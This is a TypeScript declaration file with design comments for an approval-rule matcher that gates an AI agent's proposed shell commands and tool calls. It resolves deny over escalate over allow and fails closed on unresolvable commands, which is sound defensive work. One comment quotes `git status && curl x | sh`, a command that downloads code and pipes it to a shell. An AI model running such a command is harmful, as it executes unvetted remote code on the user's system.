/** * EXT-71 (spec §3.1, §3.2, §3.3) — **the one comparison engine** over {@link ApprovalEntry}, and * the three-list resolution built on top of it. Every approvals decision that is not the rung's own * default runs through {@link resolveApprovalRules}; there is no second matcher anywhere. * * ## What an entry compares against * * `exact` / `glob` / `regexp` compare against the **normalized command** for a `shell` entry and * against the **tool name** for `tool` / `mcpTool`. The normalization is * {@link @gaunt-sloth/core!core/shell/normalize.normalizeCommand | normalizeCommand} — the same one the command classifier and * the §8 floor already use, never a second one of this module's own, because a second normalization * is how a matcher and a floor come to disagree about what a command is. * * `hint` is valid only on tool subjects and reads the call's **effective** annotations through * {@link EffectiveToolAnnotationSource}, which `core/approvals/annotations.ts` builds from the user's * per-server trust (§4.7.1). A caller that wires no source gets {@link failClosedToolAnnotations}: * the MCP fail-closed defaults, which describe a tool that writes, destroys, is not idempotent and * reaches the open world. * * ## The asymmetry (§3.1 "Compound commands"), which is the whole point of this module * * **No allow entry of any matcher matches a command that does not statically resolve.** If * {@link classifyCommand} cannot resolve it — composition, substitution, redirection — it is a * non-match for `exact`, `glob` and `regexp` alike, so a glob can never span a command separator and * `git *` never grants `git status && curl x | sh`. * * **A deny (or escalate) entry MAY match a compound command**, and is matched against every segment * a shell would run as well as against the whole string, because a prohibition that catches * something unresolvable errs in the direction that costs nothing. * * The same split governs a match the engine cannot decide (a regexp over its run-time budget, or an * annotation set nothing can supply): **undecidable is a non-match on the allow side and a match on * the restrictive side.** Each fails toward a prompt, never toward an execution. * * ## Resolution * * `deny` > `escalate` > `allow`, most-restrictive-wins: every deny entry is consulted before any * escalate entry and every escalate entry before any allow entry, so **author order and merge order * cannot change the outcome** and an appended entry can never perturb an existing one. Within a * list the first match is reported, which decides only the provenance shown to the user. * * ## Case * * Shell `exact` / `glob` comparisons on the restrictive lists fold case, matching the established * deny behaviour (`core/shell/denylist.ts`) — broader on a list whose breadth is fail-safe. Allow * comparisons, tool names, and **every `regexp` on every list** are compared as written: silently * adding an `i` flag to a pattern the user authored would make it mean something they did not write. * * @module */ import { type ApprovalEntry, type ShellApprovalGateNotice } from '#src/config/shell-policy.js'; /** A gated `run_shell_command` call: the command exactly as the model proposed it. */ export interface ShellApprovalSubject { kind: 'shell'; /** RAW command. Normalization happens here so no caller can normalize differently. */ command: string; } /** A gated built-in / custom in-process tool call. */ export interface ToolApprovalSubject { kind: 'tool'; name: string; /** §4.7.4 — the host this call reaches, where it has one. */ host?: string; } /** * A gated MCP tool call. `server` is the user's own key in `mcpServers` (§4.7.5) — the only identity * a server has that is stable, unique and user-authored, and the key its trust and its rule entries * are both written against. Nothing a server declares about its own name ever participates. */ export interface McpToolApprovalSubject { kind: 'mcpTool'; server: string; name: string; host?: string; } /** Any subject the matcher can be asked about. */ export type ApprovalSubject = ShellApprovalSubject | ToolApprovalSubject | McpToolApprovalSubject; /** * §4.7.1 — the four MCP `ToolAnnotations` booleans, as they **effectively** hold for a call after * provenance and trust have been applied. All four are present: a hint entry asks a yes/no question * of each name it uses, so "unknown" is expressed by the source returning `undefined` for the whole * set, never by a missing key. */ export interface EffectiveToolAnnotations { readOnlyHint: boolean; destructiveHint: boolean; idempotentHint: boolean; openWorldHint: boolean; } /** * Resolves the effective annotations of a tool call, or `undefined` when they cannot be determined * — which the matcher treats as undecidable (non-match on allow, match on deny/escalate). * * This function type is the whole contract between the matcher and the trust model: * `createEffectiveToolAnnotationSource` (`core/approvals/annotations.ts`) is the one implementation * that applies per-server, per-hint trust (§4.7.1), and it is the ONLY place an effective set is * derived. Nothing in this module knows how trust is decided, which is what lets the two evolve * independently. */ export type EffectiveToolAnnotationSource = (subject: ToolApprovalSubject | McpToolApprovalSubject) => EffectiveToolAnnotations | undefined; /** * The MCP fail-closed defaults (spec §4.7.2): a tool that has said nothing about itself is assumed * to write, to destroy, to be non-idempotent and to reach the open world. These are the values the * MCP specification itself defines for absent annotations, so an entry written against them is * written against the protocol's own conservative reading. * * **Frozen**, and read-only to the type system, because it is shared: an effective set is something * callers snapshot (§4.7.4 records one on a sticky grant), so a source that handed this object out * instead of a copy would let one caller's snapshot rewrite the fail-closed floor for every other. * Freezing turns that aliasing bug into an immediate throw rather than a silent, global loosening. */ export declare const MCP_FAIL_CLOSED_ANNOTATIONS: Readonly; /** * The {@link EffectiveToolAnnotationSource} a caller gets when it wires none: every tool reads as * {@link MCP_FAIL_CLOSED_ANNOTATIONS}. * * It is the safe default and not a stub — it is what a fully distrustful configuration computes * anyway (§4.7.1: an untrusted server's effective set IS this constant), so a call site that has no * annotations to offer behaves exactly like one whose user believes nothing. Deliberately NOT a * trust model: trust needs config, and config belongs to `core/approvals/annotations.ts`. * * It answers with a **fresh object per call**, matching `createEffectiveToolAnnotationSource`, so * the whole contract — not merely its configured half — is safe to snapshot. */ export declare const failClosedToolAnnotations: EffectiveToolAnnotationSource; /** * §3.1 — the run-time budget for ONE `regexp` entry evaluation, in milliseconds. * * It is a **backstop reported rather than swallowed**, not the primary defence: a pattern is * length-capped and compile-checked when the config loads (`approvalEntrySchema`), and a short * pattern can still backtrack catastrophically. What this bounds is the damage — and, more * importantly, it makes a pattern that stopped deciding *visible*, so a session in which one quietly * fell out of use cannot be mistaken for one in which it works. */ export declare const REGEXP_MATCH_BUDGET_MS = 50; /** Tuning + seams for {@link resolveApprovalRules}. All optional; the defaults are the product's. */ export interface ApprovalMatcherOptions { /** * Where a `hint` entry reads its effective values (§4.7.1). Build it with * `createEffectiveToolAnnotationSource`; defaults to {@link failClosedToolAnnotations}. */ annotations?: EffectiveToolAnnotationSource; /** * Where a run-time report goes — the established {@link ShellApprovalGateNotice} shape, which the * runner forwards to `statusUpdate`. Absent means the report is dropped, which is why the runner * always passes one. */ onNotice?: (notice: ShellApprovalGateNotice) => void; /** Override {@link REGEXP_MATCH_BUDGET_MS}. */ regexpBudgetMs?: number; /** Clock, injectable so the budget backstop is testable without a pathological pattern. */ now?: () => number; } /** * §3.2 — whether the rater still reviews a call this entry matched. Honored at the rater rungs and * inert at the deterministic ones; a per-entry `rate` wins in **both** directions. * * The default derives from one principle: *an entry skips the rater only to the extent that it * recorded what the rater would have seen.* A `shell` + `exact` entry recorded the whole command, so * it needs no rating; a pattern recorded a shape, and a tool entry recorded identity (never * arguments), so both keep the rater. */ export declare function approvalEntryRatesCall(entry: ApprovalEntry): boolean; /** The three declared lists, as one argument. */ export interface ApprovalRuleLists { allow: readonly ApprovalEntry[]; deny: readonly ApprovalEntry[]; escalate: readonly ApprovalEntry[]; } /** What the rule lists decided about a call, or `null` when no entry matched. */ export interface ApprovalRuleDecision { /** §3 — most-restrictive-wins: `deny` over `escalate` over `allow`. */ action: 'deny' | 'escalate' | 'allow'; /** The entry that fired, for the provenance the prompt and the refusal message must show. */ entry: ApprovalEntry; /** * §3.2 — for an `allow` action, whether the rater still reviews the call as a **tripwire**. * Always `false` for `deny` (nothing to rate) and for `escalate` (which goes straight to the * human with no rating call, because the user pre-decided that a human answers). */ rate: boolean; } /** * §3.3 — resolve a call against all three lists, most-restrictive-wins. * * **Every** deny entry is consulted before **any** escalate entry, and every escalate entry before * any allow entry. That ordering is the whole property: author order within a list, and the order * in which lists were concatenated, cannot change the outcome, and appending an entry can never * perturb an existing one. The first match inside a list decides only which entry is reported. * * Returns `null` when nothing matched — the rung then decides on its own. */ export declare function resolveApprovalRules(subject: ApprovalSubject, lists: ApprovalRuleLists, options?: ApprovalMatcherOptions): ApprovalRuleDecision | null; /** * A one-line rendering of an entry, for the provenance a refusal message and an escalation prompt * must carry (§3, §3.2) and for the `/approvals` list display. * * A `shell` + `exact` entry renders as its bare pattern — that is the command the user wrote, and * decorating it would only get between them and the line they are looking for. Everything else says * what kind of thing it is, because a pattern that is not the command needs to be readable as one. */ export declare function describeApprovalEntry(entry: ApprovalEntry): string;